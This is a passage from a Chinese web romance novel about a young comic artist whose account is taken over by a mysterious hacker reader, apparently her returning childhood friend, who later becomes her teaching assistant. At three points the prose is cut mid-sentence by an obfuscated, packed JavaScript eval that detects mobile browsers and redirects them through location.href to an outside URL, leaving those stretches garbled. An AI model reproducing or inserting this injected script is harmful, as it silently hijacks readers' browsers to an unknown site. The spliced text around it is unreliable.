《黑客大佬和迷糊画家》 1. 盗号 林朝晞打开电脑,一如既往地登录自己的作者号。刚按下enter键,屏幕上弹出来一个小窗口: 【登录失败!您的账号异地登录,请核实是否本人操作!】 “哈?”她刚睡醒,视线朦胧,揉了揉自己的眼睛,关掉弹窗再登录了一次,还是失败,打着哈欠嘀咕道,“怎么回事……” 她没在意,重新通过手机验证码登录成功,忙不迭地点开自己连载漫画的评论区,显示【新增评论1】。 “哦!”她兴奋地叫出声,点开那条评论: 读者粉丝A:【在画什么东西啊。。主线不是寻宝吗?主角在这个村里玩了5话了,一点进展都没有???我真服了,忍了好久了,最近追读为什么掉那么多,您不反思的吗】 林朝晞原本弯起的嘴角一点一点地僵住,然后随着眉毛一起耷拉下来。 大约在一个月前,她成功签约了国内最有名气的漫画网站——芳林漫画坊。 但这家网站的编辑手下上千个作者,压根没空指导她,她只好自己摸着石头过河,硬着头皮画下去。 网站对新人有扶持,第一个作品可以获得推流。 不过她的作品,数据在同期里并不好。最近的追读率更是掉得厉害。 她隐约也知道可能是哪里出了问题,但自己看不出来。 “哎……”她懊恼地捂住自己的头,闭上眼睛低嚎了一声。缓了会儿,决定锁定最新一话,琢磨一下怎么改稿。 然而后台显示,她的最新一话已经被作者自行锁定。 “我什么时候锁定了?”她困惑地点开那一话,发现原来画好的漫画被修改了,每一页都有分镜和对话被圈出来,做了很详细的红色标注—— Page3:这个画面前面已经描绘过了,重复,删 Page3:这句话起到什么作用?推动剧情了吗?塑造人物形象了吗?都没有,那就删 Page6:人体透视有问题,要重画 … “什么情况?!”她睁圆眼睛,震惊地往下滑动页面。滑到最底部的【作者留言条】,几行字映入眼帘: 【一、最近不知道在画什么,感觉对不起我的打赏,所以潜进读者群里把你号盗了。】* 【二、你这一章问题很大,分镜、对话、节奏等,我都已经替你标注出来,还给你重新整理了后面三话的简纲,勿谢。】 【三、你的账号和密码太好猜了,小号和大号关联,同用一个密码还直接就是芳林账号,至少换个复杂点的吧?另外软件挂在电脑上却防火墙也不开一个,找死呢?我给你设置好了,勿谢。】 【最后,别乱点手机上的链接,小心再被人盗,傻瓜。】* 林朝晞眨了眨眼,眸光清明,方才的几分困意已经消失殆尽。 什么意思?她的号被黑客盗了? 她连忙点开【最近登录】,页面上显示今天凌晨四点,账号在美国登陆。 “啊?!?!”她迟钝地惊叫一声。真有黑客盗了她的号。 怎么会有这么离谱的事发生在她身上。 房间的门被急促地敲响,传来林妈的声音:“一大早的乱嚎什么!周末给我安静点!” 林朝晞捂着嘴,小声说:“对不起。” 门口的脚步声远去。 她拿起手机,下意识在微信里翻裴弈的名字。 裴弈是她从小一起长大的竹马,高三那年被名校录取,去了英国学计算机。关于电脑方面的事,问他再正确不过了。 点开微信,两人的最后一次聊天还停在11个月前的春节。 林朝晞的指尖悬在手机屏幕上方,有些犹豫起来。 四年前,他们大吵了一架。 起因是,她鼓起勇气向裴弈说,自己长大了要当漫画家,却被他嘲笑了。 他说她画漫画会饿死,让她扔掉这些不切实际的幻想,选个实用的专业。 她罕见地对他发了脾气,结果第二天,就得知了他要出国留学的消息。 他出国这件事,她是最后一个知道的。 从那以后,两人断联了很久。 裴弈始终没有对这件事道歉,她也因此对他心生疏远。 不过已经过去了四年,她早就没生他的气了,所以在他一次主动说新年快乐的时候,她也回了个新年快乐。 太久不联系,她都忘了怎么和他相处,索性躲着他的聊天,久久回复一次,或者干脆已读不回。 裴弈也因为刚好遇上疫情,这四年一次也没有回来过。 两人曾经亲密无间的友谊就这么断掉了。 林朝晞轻叹口气,退出聊天框。 想找朋友吐槽的心情也没了,索性盘腿窝在电脑椅里,打开数位板,开始认真琢磨大佬给她的修改意见。 她刚睡醒,头发乱糟糟顶在头上,沾着两缕没梳开的小呆毛。 脸颊带着睡出来的自然红晕,睫毛又密又卷,此刻正因为懊恼微微蹙着,指尖捏着数位笔,身上的小熊睡衣松松垮垮,袖口滑到小臂,露出一截白净的手腕。 笔尖在存稿箱里漫无目的地戳来戳去,她忽然想起大佬说,对不起他的打赏这件事。 她的作品在获得推流前,阅读量一直是个位数。 但有一位叫【日】的男性用户,不知是从哪刷到她的作品的,在她签上约的第一天,就开始给她打赏。 每天雷打不动10000金币,换算成人民币是1000,至今已有20天,总额2万。 原来就是这位黑客先生啊。 她点开日先生的主页,发现他的注册时间和她的签约时间是同一日。 “这未免也太巧了……”林朝晞低着头,困惑道。 她也怀疑过这位日先生是不是熟人,毕竟她签约成功那天,在朋友圈广而告之,身边的亲人朋友都知道她在这个网站画漫画。 但她没有公布作者名和作品名,而且日先生的ip在美国,她认识的人里,没有人在美国。 她从他那儿收的打赏,全存在后台,没敢提现。也曾经在评论区和作者留言箱说过很多次,请这位日先生不要再乱刷钱了。 但他充耳不闻,依旧按时支持——每天零点一到,他的打赏就按时、按量到她账上。 非常准时,准时到林朝晞一度以为日先生是机器人。 她去问客服,是不是谁刷错钱了,她好把钱还回去。但客服跟她说,这是真人用户…… 现在被这位鼎力支持的大佬盗号改稿,她更是如芒在背。 她忐忑地发了条朋友圈,分享了这件离谱的事,随后全身心投入到改稿中。 晨曦褪为暮色。 林朝晞吃过晚饭,在冰箱里翻出一盒酸奶,打算拿到房间,一边喝一边继续研究画稿。 “就今晚?……还有多久到?”林妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093779|195563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在厨房里洗碗,接了个电话,一直乐呵,不知是什么好事。 林朝晞好奇地踱步到厨房门口。 “哎,没问题!放心交给我们吧!……行行行,那先挂了啊。”林妈喜出望外地挂了电话,手在围裙上一擦,转过身来,对林朝晞说:“晞晞,小弈回来了!” 林朝晞一愣,怀疑自己听错了。 “别傻站着了,人都下飞机了!”林妈脱去围裙,“你伯父伯母在外地出差,托我们照顾小弈几天!咱现在就接他去!” 林朝晞缓过神来,目光还有几分恍惚:“裴弈回国了?他不是明年才毕业吗?” 林妈利索地把围裙挂好,人已经转到客厅:“不知道啊,等见到人了再问呗。” 林朝晞跟着她到客厅,有些犹豫道:“……我也要一起去接他?” 林妈回过头来,皱着眉:“这不废话么?大家一起去,才显得重视人家啊。” 她疑惑地上下打量林朝晞,目光停留在她交握的手上,了然道:“你害羞个什么劲儿啊?” “我没害羞,”林朝晞解释道,“我就是觉得,怪尴尬的,那么多年没见了。” “你俩从小一块长大的关系,尴尬啥啊?”林妈拍了她一下,“哦,对,我不能跟你去,小弈肯定没吃饭呢,我要在家里整点好吃的招待人家。” “啊?我一个人去啊?”林朝晞更不安了。 “不然呢?去去去,别废话了,等会人家都到了!”林妈把她推出门。 林朝晞被关在门外,才想起自己连裴弈在哪里都不知道,她砰砰地敲门:“我还不知道他在哪呢!” “自己不会打电话问啊!”林妈有力的声音传出来。 打电话?她都多少年没跟裴弈打过电话了。 林朝晞轻叹口气,走下楼,发微信过去问他:【妈说你回来了,让我去接你,你在哪?】 她发完微信,拖拖拉拉地步行到离家最近的地铁口,等过了安检,距离她的消息发出已经过了二十分钟,裴弈都没有回复。 裴弈不是下飞机了吗?怎么不看手机? 她抬头看那复杂的地铁线路图,不禁有些着急。 临湖市没有独立的机场,但隔壁临海市的机场离这很近,搭高铁二十分钟直达。 裴弈要是在临海下飞机,现在应该在高铁上了。 林朝晞拿出手机,指尖在那微信通话的按键上方来回犹豫。 电话另一端。 高铁上。 裴弈向后倚靠在座位里,修长的双腿在有限的空间里显得有些委屈地曲着,膝盖顶上前排靠背的软垫。 他垂着眼,睫毛在冷白的皮肤投下一小片阴翳,目光淡淡落在亮起的手机屏幕上。 车厢外的灯光穿过车窗,在他利落的短发边缘勾勒出一圈浅金,下颌线清晰而干净。搭在扶手上的手指骨节分明,食指正有一下没一下地轻敲着,腕骨处露出一截冷色的机械表盘。 手机亮着,屏幕上是二十分钟前收到的消息:【妈说你回来了,让我去接你,你在哪?】 他没回复,就只是看着,不知这样坐了多久,微信终于弹来一个语音电话,来自:林朝晞。 他目光骤定在那名字上,唇角划过一抹似有若无的弧度,身体微微前倾,原本松散的气息无声收拢。 他拿起手机,拇指在光滑的屏幕边缘缓缓摩挲了一个来回,才迟迟按下接听:“喂。” 2. 头发真乱 电话终于被接起,林朝晞耳边传来裴弈的声音,隔着听筒,像蒙了层雾,模糊又磁性,在周遭略显喧闹的环境音下,尤为突出。 “我是林朝晞,”林朝晞莫名的紧张,突然开始自我介绍起来,“你到哪里了?” 电话那端的人低笑了一声,裹着淡淡的鼻音,揶揄道:“嗯,我是裴弈,刚到临湖站。” “你学我干嘛,”她小声吐槽,为自己反常的态度感到尴尬,“我就是确认一下。” “我以为是什么接头暗号,毕竟某人当年说‘再也不理我’,现在主动给我打电话,怪新鲜的。”他尾音带着点刻意的调侃,像在翻旧账。 林朝晞窘迫得脸上发热,没接话,转而道:“那,那你都到高铁站了,我还要过去吗?我在家门口这个地铁站等你就好了吧?” 那边顿了一下,说:“那还能算接吗?” 林朝晞:“怎么不算?反正能领你回家就好了嘛。” 裴弈沉下声音:“没诚意。” “那怎么办……你在高铁站坐着等我,我乘地铁过去?然后我们再一起乘地铁回来?”她说到后面,语气怪怪的,像不太赞同这种费时费力的做法。 裴弈:“……你到中山西路等我。” 林朝晞抬头看地图,中山西路大约在家和高铁站的中间点。 “好吧,那我现在出发。”她答应得好好的,随后挂了电话。 正是下班高峰期,地铁里挤满了人,林朝晞被挤得差点下不了车,头发都乱了,好不容易走出站台,跟着人流出去,到了分岔路口,才想起问裴弈在哪个出口。 她拿出手机,屏幕上显示有一个未接来电,是裴弈打来的。她回拨,却迟迟不见对方接电话。 正嘀咕着他在干嘛,一股清淡的香味从背后袭来,紧接着,一只手不轻不重地揉乱了她发顶。 “头发真乱。”他的声音从极近处落下,带着点戏谑。 林朝晞蓦地转头,捂着自己刚被抚摸的头顶,看到那张熟悉又陌生的脸,一时惊怔住,忘了反应。 裴弈穿一件纯白外套,帽檐一圈浅棕绒毛被风拂得轻轻晃动,轮廓看着柔和,眼神却带着点促狭:“怎么,不认识我了?” 他微偏着头看她,眼角天生上翘,瞳孔墨黑,眸光在人来人往的喧嚣里,静得像深夜的湖。 她动了动唇,支支吾吾半天,愣是一个字都没说出来。 “走吧。”他扯了扯嘴角,极快地笑了一下,伸手拽住她的袖口往站台方向带,力道有些重,带着点不容挣脱的霸道。 地铁里依然拥挤,裴弈一手虚拢在她身后隔开人流,另一只手握住头顶横杆,将她圈进一方相对安稳的空间。 两人肩靠着肩站着,玻璃窗上映出他清晰的侧影。 白衣洁净,气质清朗,不说话的时候,任谁看都像个纯粹又体贴的邻家哥哥。 林朝晞看着那倒影,心里却浮起一种微妙的抽离感。 不知是不是因为他刚才的调侃和摸头,总觉得,他们之间没有想象中那么陌生和尴尬。 “你的行李呢?”她盯着玻璃窗上他的脸。 “提前寄回家了。”他也望着她的倒影,目光不偏不倚。 “好吧。”她侧目,避开对视。 窗玻璃上映出的两人,她比他矮一个头,穿一件鹅黄短羽绒,头发乱糟糟的,露出光洁的额头和白净的脸,低着头,两颊圆润,睫毛是天生的卷翘。 他的目光沉沉落在那上面,带着点不易察觉的专注。 地铁很快到站。 裴弈跟在林朝晞身后,一路无言。 林朝晞停下来看他,发现他正注视着自己,便生硬地找了个话题:“英国冷吗?” 他的目光在她脸上停驻片刻,不答反问:“你关心?” 她没想到随口一扯的话题,会被他反问回来,愣了一秒,随后点点头。 他却是走上前,将她从头到脚打量了一遍,唇角微扬:“看来国内伙食不错。” “……你才胖了!”林朝晞瞬间被点燃。 “我可没说,”他眼里的笑意深了些,语气无辜,“你自己说的。” 林朝晞有些气鼓鼓地走过他面前,碎声念叨:“笑吧你就!笑吧。” 冬天的寒风像猎刀一样在她脸上刮过,她也不知道他们俩为什么要走路回家,而不是打车。 但她越发雀跃和轻盈的脚步告诉她,裴弈回来,她很高兴;裴弈说她胖了,她虽然有点不爽,但他们能像从前一样拌嘴,她还是高兴。 回到家,门一开,林妈就热情地拥上来,拍着裴弈的肩膀:“小弈,好久不见了!长这么高这么帅了!” “阿姨,好久不见,给您买的礼物寄回家了,我晚点给您送来。”裴弈得体地微笑道。 林朝晞在旁边看得撇嘴:这人,也就会在大人面前装乖。 饭桌上,布了几道菜,小葱拌豆腐,糖醋里脊,鱼香肉丝,土豆炖鸡,还有满满一盘白菜饺子,都是裴弈和林朝晞喜欢吃的。 两人专注地低头吃着饺子,同时端起碗喝了口汤,碗落在桌上,发出轻响。 林妈两手交叠,托着下巴,歪着头,满眼疼爱地看着两个孩子,笑道:“你看看你俩,连喝汤的姿势都同步。多心有灵犀啊。” 林朝晞有点尴尬地抬眼看林妈,心里嘀咕:老妈真是哪壶不开提哪壶。 裴弈侧目,往林朝晞的方向扫了扫,嘴角噙着一抹淡笑:“那是当然。” 林朝晞埋头吃饭,只觉得他真是个体面人。 “来,小弈多吃点,”林妈笑着给两人都夹了菜,“晞晞也多吃。” 裴弈:“谢谢阿姨。对了,叔叔呢?” “他去外地出差了,过阵子回来。” “这样。” “嗯,你这次打算呆多久啊?” 裴弈夹菜的手停了停:“我毕业了,不会回英国了。” 林朝晞闻声一愣,也停下筷子,竖起耳朵听。 林妈:“你念硕士,不是到明年才毕业吗?” “我本科跳了一级。”裴弈垂着乖顺的睫毛,语气无波无澜。 林妈听了,止不住地一顿夸。 林朝晞没说什么,一种熟悉的感觉涌上来。 裴弈之于她,就像“别人家的孩子”,明明大她一岁,但样样都比她优秀,总被爸妈拿出来当她的榜样。 本来出国念顶尖大学就已经够夸张了,怎么还能跳一级? 林朝晞斜了他一眼。 他精准地捕捉到她的视线,望过来:“嗯?” “没什么。”她低头吃饭,心里既有些对他天赋的艳羡之感,又有些隐秘的喜悦。 毕业了也好,那以后就多一个人陪她了。 一阵铃声从卧室传来,林朝晞放下筷子:“我手机响了。我去看看。” 裴弈的目光跟着她离席,等确认她进了房间,才状似不经意地对林妈说:“对了阿姨,我找了份工作,就在朝晞的大学附近。最近在找房子……” 他话音刚落,林妈眼睛一亮,立刻接话:“哎呀!正好,晞晞合租那套房子,上个月正好空了一间出来!等会儿我跟她说说,让她明天领你去看看环境!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093780|195563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 裴弈抬眼,目光似有若无地扫过林朝晞房间的方向,唇角微扬,语气却带着几分恰到好处的犹豫: “这样……会不会太麻烦朝晞了?我怕她不好意思拒绝。” “麻烦什么?反正房间空着也是空着,”林妈大包大揽,“就这么定了。” “那……多谢阿姨。”他颔首。 林妈:“不过你找的是什么工作啊?” 林朝晞从房间走出来,重新在餐桌边坐下。 裴弈笑了笑,目光转向林朝晞:“这个,得问朝晞同不同意让我说了。” 林朝晞没听见他们前面在讨论什么,疑惑道:“什么?我同意什么?” 裴弈抽了张纸,慢条斯理地擦拭嘴唇,不急不缓地说:“没什么。” 林朝晞古怪地皱了一下眉头,没追问,埋头吃饭。 晚饭后,裴弈回家取了礼物送给林妈,随后拿出另一个礼盒,递到林朝晞面前。 她眼底闪过一丝惊喜,没敢乐得太明显,犹豫道:“我也有?” 他并不答话,只是将盒子又往前递了半分,动作带着一种理所当然的催促。 林朝晞一边鬼祟地睨着他,一边打开。一个眼熟的数位板映入眼帘。 她不禁低呼一声,眉眼皆是掩盖不住的喜悦:“你怎么知道我想要这个?!” 这个数位板很贵,是上个月的新款,她去年这个时间刚换了新的,所以一直不舍得买。 “猜的。”他语气简洁,没多解释。 林朝晞敛了笑,咬了咬下唇,还是把数位板放回原盒:“太贵了,怎么能收。” “不要也退不了了。”裴弈的声音沉静,甚至算得上温和,却透着一股没有转圜余地的意味。 “怎么会,我还没拆包装呢。”她被他说得一紧张,连忙想把包装还原。 一只修长白皙的手按住了那包装盒,他站在她身侧,淡淡清香萦绕过来:“明年我生日,你再送回来就扯平了。” 林朝晞一听,觉得可行,态度软了下来:“这样么?” “嗯。”他应了一声,目光落在她悄悄弯起的嘴角上,停顿了一秒,才接着说:“明天看房,记得早起。” 说完,不等她反应,便转身对林妈礼貌道别,干脆利落地走了。 林朝晞停下研究数位板的动作,后知后觉地“诶”了一声:“看什么房啊?” “噢对,你和同学合租的房子,不是空出来一间么?小弈说在你学校附近找了个工作,明天你正好没事儿,带他去看看。”林妈交代完,宝贝地抱着裴弈送的围巾,哼着小曲儿往卧室里去了。 林朝晞眼睛倏地瞪圆,刚才弯着的嘴角瞬间僵住,迟钝地眨巴了两下眼睛,脑子里嗡嗡的,完全没跟上节奏:“找工作?” “对啊,”林妈的声音飘过来,“就在你学校附近呢,多方便,刚好能互相照应。” 学校附近? 林朝晞愣在原地,手里的数位板仿佛都沉了几分。 她压根没听说裴弈要回国工作,更想不到,他可能会搬到她合租的房子里。 这也太突然了吧。 她低头盯着怀里的数位板,又猛地抬头望向门口,裴弈的身影早就没了踪影。 一连串的问号在脑子里打旋,她后知后觉地皱起眉头,小声嘀咕:“搞什么啊……突然就要住一起了。” 嘀咕完,目光却诚实地粘在了怀里的数位板上。 ……好吧。 好像也没什么。 她爱不释手地把数位板揣回房间,很快重新露出笑容,新鲜劲十足地摆弄起来。 3. 是我朋友 清晨。 林朝晞是被林妈的敲门声和客厅的谈话声扰醒的。 她迷迷糊糊睁开眼,床头的手机屏幕亮着,显示一条十分钟前的新消息: 裴弈:【起了没】 她睡眼惺忪地看着那条消息,晃神了好一会儿,才缓缓坐起来,抓了抓头发,洗漱过后,来到客厅。 裴弈穿戴整齐地坐在沙发上,手边放着一袋印着“喜乐铺”的早点,自己正慢条斯理地端起水杯喝了一口,手里翻着她落在茶几上的漫画书。 “醒了?”他眼皮都没抬,“你的那份要凉了。” 喜乐铺是本地生意最红火的早点、糕点铺,早高峰都要排队才买得到。尤其是煎包,凉了和趁热吃完全是两种口感。 “你怎么不进来叫我?”林朝晞嘟囔着坐下,不由得怨起裴弈来。 “叫你?”裴弈的目光在她乱翘的头发和惺忪睡脸上扫过,“我怕被你扔出窗户。” 林朝晞拿起早餐,是她最喜欢吃的煎包和玉米蒸饺。 她咬了一口,还没彻底凉掉,含糊道:“我又不会这样。” 他放下手中的漫画,好整以暇地靠回沙发:“真不会假不会?我手机里可还有你追着我打的视频。” 林朝晞想起往事,尴尬地脸一热:“……陈年旧账,提它干嘛。” 裴弈轻笑一声,没再说话,继续看他的漫画。 林朝晞狼吞虎咽把早餐吃完,用纸巾擦了擦嘴,这才注意到他在看的漫画,是自己昨晚随手放在客厅的。 “你什么时候也看漫画了?”她随口一问。 印象中,裴弈是不看漫画的。 他拿的那本,也并非热血少年漫,而是以一位女孩子作为主角的冒险故事,是去年的漫画销量第一。 “看看你说的神作神在哪。”他没抬头,语气随性。 “我说的神作?”林朝晞愣了一下,下意识反问,“我什么时候说过?” 她明明只在朋友圈提过一次。 裴弈抬眸,别有深意地看了她一眼,没说话。 林朝晞没有追问。 他这是,刷到了她的朋友圈?但那已经是她去年发的了。 从他们吵架以后,裴弈就只有在她发生日纪念或者人生大事的朋友圈时,才会点赞。 他没有赞的那些,她都默认为他没看见。原来不是这样? 林朝晞暗自思索着,回房间拿了件外套,随后叫上裴弈出门。 她念的大学就在临湖市区,离家大约一小时车程,租的房子就在大学附近,走路可达。 房子是她的学长介绍的,四室二厅的大套间,住了两男两女,女生上个月刚搬走,现在就只剩下她和两位男士。 林朝晞领着裴弈到门口,低头翻自己包里的钥匙,手在包里扒来扒去,最后索性蹲下来,把包放在地上翻找。 包里没有钥匙,应该是忘带了。 她没有直白地说出来,而是站起身,掩饰尴尬地嘿笑了一声,随后开始拍门: “林泽!林泽你在吗?在的话帮我开开门,我忘记带钥匙了。” 裴弈手插在兜里,似乎对此见怪不怪,只看着她拍门。 林朝晞把耳朵贴在门上,没听见有脚步声,嘟囔道:“估计还没起床吧?我打个电话试试。” 她熟练地拨通了那个名为【林泽学长】的电话,耐心等着。 约莫一分钟,电话被接起,听筒传来一声朦胧的“喂”,林泽显然还在睡觉,低沉的声音模糊不清。 她瞬间把语气切换成甜软的歉意:“学长,是我朝晞,不好意思吵醒你啦,我忘带钥匙了,能麻烦你开下门吗?” 电话那端沉默了会儿:“唔……好。”随后被挂断。 林朝晞把手机揣回兜里,对身侧的裴弈笑了一下,有点窘迫:“这下好了。” 裴弈没笑,视线落在她攥着手机的手上,语气平淡得像在随口闲聊:“你跟别人打电话态度倒挺好。” “啊?”林朝晞愣了一下,反应过来,“那肯定要好点啊,毕竟吵醒别人睡觉了。” 裴弈冷淡地牵动嘴角,有些皮笑肉不笑的:“你吵醒我的时候,怎么不这样?” 林朝晞被他直白地戳破双标的态度,一时哽住,只能套近乎道:“……哎,咱俩啥关系啊。” 裴弈撇过眼,不再看她,唇线抿得有些直。 她觉得他的反应有点奇怪,歪了歪头,多看了他一眼。 门内传来沉重的脚步声,门被“啪”一下打开,林泽裸着上身,腰上松松挂着条长裤,蜜色皮肤,常年健身的腰腹很紧实,胸肌更是饱满。 林朝晞虽然不是第一次看了,但还是惊吓地往后仰了仰身体:“早、早上好!” “早。”林泽含糊地打了声招呼,目光随即落在她身后的裴弈身上,带着一丝不加掩饰的疑惑。 她正想介绍,裴弈却已经先一步上前,身形恰好挡在了她和林泽之间。 他比林泽稍高一些,气场也更冷冽。他伸出手,语气客气却疏离:“你好,我是裴弈。来看房的。” 林泽愣了一下,才伸手与他交握:“林泽。” 两人的手一触即分。 裴弈个子高,大半个身子挡在林朝晞面前,她什么也看不见,只好从他身侧探出头来解释:“这是我……朋友,我带他来看看空房。” 裴弈闻言,侧过脸,深深地看了她一眼。 林泽“嗯”了一声,侧身让开路:“房间在那边,你们自己看吧。”说完,便转身回了自己房间,门被轻轻带上。 玄关处瞬间只剩下他们两人。 “走吧,我带你去看房间。”林朝晞说着,就要往里走。 连帽衫的帽子却被一股不容抗拒的力道攥住。 她回过头,对上裴弈沉沉的黑眸。 “怎么了?”她问。 “我什么时候成你朋友了?”他视线下压,脸上没什么表情。 林朝晞困惑了一瞬,笃定地答:“青梅竹马不算是朋友吗?那不然是什么?仇人啊?” 她只是觉得,特意跟不熟的林泽说,这是她从小一起长大的青梅竹马,好像有点没必要? 裴弈眉峰微挑,然后收紧了嘴角,擦过她的肩走进客厅:“随便你。” 林朝晞抬手理了理帽子,看着他的背影呆了片刻。感觉他态度不是很好,但语气听上去又很平淡。 她放弃揣摩他的意思,跟上去。 这房子的客厅很大,装修是年轻人喜欢的简约风格。她指了指走廊尽头的两个房间:“喏,就那两间,都空着。” 裴弈迈开长腿走过去,先是看了看左手边那间。房间不大,大概十平米。 他又推开右手边那间。这间明显大了一圈,差不多有十五平,还自带一个独立的浴室。 “这间大的比较好,”林朝晞跟在他身后,积极地推销,“有独立浴室,方便很多。而且离其他人的房间都远,安静。” “你住哪?”裴弈问。 林朝晞指了指小卧室隔壁的房间:“我住那间。” 裴弈走到空出来的小卧室门口,推开了门往里看:“我住这间。” “啊?”林朝晞傻眼了,“为什么啊?这间这么小,大的那个住着舒服多了。” 裴弈站在小卧室的窗边,看着外面的风景说:“我喜欢朝南的。” 林朝晞皱着眉往另一个大卧室的窗户看了看,这间好像也是朝南的啊? 难道是她东南西北不分? 她心里犯嘀咕,但还是没问出来。 “那好吧。”她关上落选的大卧室门。 “嗯。”他满意地应了一声,拿出手机,直接给中介拨了个电话,三言两语就敲定了租房合同的事,效率高得令人发指。 林朝晞站在一旁,看着他干脆利落地处理完一切,心里没来由的有种被安排得明明白白的感觉。 晚上回到家,她惯例在房间里画漫画。 画到中途,起来伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093781|195563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个懒腰,目光偏移至手机里那个【裴弈】的备注,突然想起,自己忘记问他找了个什么工作。 她拿起手机,在对话框里输入【你找的什么工作啊】,犹豫了会儿,还是没发出去。 下次再问也没事吧。反正他很快就要当她室友了,还愁见不到吗? 这么想着,她赶稿至后半夜,第二天一早顶着黑眼圈去了学校。 林朝晞打着呵欠走进教学楼,熬夜使她现在整个人都处于一种灵魂出窍的状态。 “朝晞!这边!”同班同学兼好友的赵晓棠在不远处冲她招手。 林朝晞慢吞吞地挪过去,在赵晓棠旁边的空位坐下,从包里掏出手机,第一件事就是点开自己的漫画评论区。 【新增评论0】。 预料之中。 她没觉得失望,只是把手机倒扣在桌上,从包里翻出早餐吃。 “你看你那没精打采的样子,又熬夜画画了?”赵晓棠凑过来,一脸八卦地压低声音,“你听说了没?咱们系新来了个助教,教《数字媒体技术基础》的!” “哦。”林朝晞兴致缺缺。什么助教都跟她没关系,她只关心自己的追读率。 “哎呀你别哦啊,”赵晓棠推了她一下,“重点是!听说巨帅!一八五以上,冷白皮,帅得跟明星似的!待会儿就是他第一节课,你看看教室,全坐满了!” 林朝晞来了点兴趣,往后一看,教室罕见地坐满了最后一排。 “还真是,”她喝了口豆浆,含糊道,“都是来看助教的?” “可不嘛!”赵晓棠用手肘顶了顶林朝晞,“你再看看第一排,角落那个,眼熟不?” 林朝晞往那方向递去眼神,没发现有什么眼熟的人:“谁啊?” 她自从开始画漫画,就对身边的人和事都不感兴趣了,或者说,是没时间关注了。 “艺术学院的系花啊!你这都不知道。”赵晓棠压低了声音在她耳边说。 “系花不是去年毕业了嘛?”林朝晞吃下最后一口肉包,用纸巾擦嘴。 “哎哟,祖宗,这是今年刚入学的学妹!” “昂。”她点点头,又往那方向看去一眼,确实在一众背影中,认出来一个气质出挑的。 “而且,帅不是关键,关键是人家的学历!听说是xx毕业的硕士,本硕连读还提前毕业了,妥妥的顶尖人才啊。” 林朝晞听见熟悉的学校名称,愣了一下:“xx毕业的?” “嗯!也不知道怎么看上我们学校了,这种学历,闭着眼睛都能进xy吧?” “谁说不是呢,”另一同学也加入讨论,“可能人家有教育情怀吧。” “我看八成是来体验生活的富二代。” “硕士毕业……”周围的议论声嗡嗡作响,林朝晞却一个字都没听进去。 她怎么记得,好像裴弈也是这个学校硕士毕业的。是巧合吗? 上课铃声响起,喧闹的教室渐渐安静下来。 林朝晞撑着下巴,强打起精神,准备迎接这堂枯燥的专业课。 教室门被推开,一个高挑挺拔的身影走了进来。 男人穿着一件简单的白衬衫,袖口一丝不苟地挽到小臂,露出一截冷白的手腕和那块熟悉的机械表。手里拿着教案,步履从容地走向讲台,清冷的目光淡淡扫过台下。 教室里响起一片压抑不住的抽气声和窃窃私语。 “卧槽……真人比传闻还帅……” “这气质绝了……” 林朝晞目光懒懒地投向讲台。 下一秒,她的瞳孔骤然缩紧。 讲台上,那人放下了教案,拿起粉笔,在黑板上写下自己的名字,字迹清隽有力。 ——裴弈。 他转过身,目光精准地越过大半个教室,直直地落在她的脸上。 四目相对。 他的唇角勾起一抹似笑非笑的弧度。 林朝晞感觉自己的大脑“轰”的一声,彻底当机了。 4. 那位同学 她就那么呆呆地坐在位置上,看着讲台上的裴弈。 他穿着挺括的白衬衫,袖口挽起的弧度都透着规整,仿佛完全没注意到她的震惊,从容地打开教案,指尖在投影笔上轻轻一点,屏幕上立刻出现课程大纲。 他的声音清越好听,透过夹在衣领上的小型麦克风,传遍整个阶梯教室,带着恰到好处的语速和停顿,引得前排的女生们频频回头,交换着兴奋又羞涩的眼神,甚至有几个偷偷拿出手机,对着讲台的方向快速抓拍。 林朝晞一个字都没听进去。 她深吸一口气,从最初的震惊中缓过神来,紧接着涌上心头的,是一股更深的困惑。 这家伙搞什么啊?回国不声不响,连个提前通知都没有,突然就要跟她合租,现在还直接空降成了她的专业课助教? 她拿出手机,点开微信对话框,手指飞快地打下一行字: 【怎么回事???】 她点击发送,然后抬起头,目光灼灼地盯着讲台上的他,想看他会是什么反应。 裴弈的手机就放在讲台一角,黑色的机身在灯光下泛着冷光,屏幕突然亮了一下,弹出消息预览。 他讲课的动作没停,只是眼角的余光极快地瞥了一眼,随即又不动声色地移开,继续讲解着课程重点,语气平稳得仿佛什么都没看见,连眉梢都没动一下。 不仅没看见,他讲课的语速还刻意放慢了些。 每一个知识点都讲得条理清晰,甚至还举了两个生动的行业案例,和平时对她毒舌又挑剔的样子判若两人,活脱脱一个专业又认真的模范助教。 林朝晞气得牙痒痒。装,你再装! 她不信邪,又发了一条:【你为什么会在这里当助教?!】 手机屏幕再次亮起。 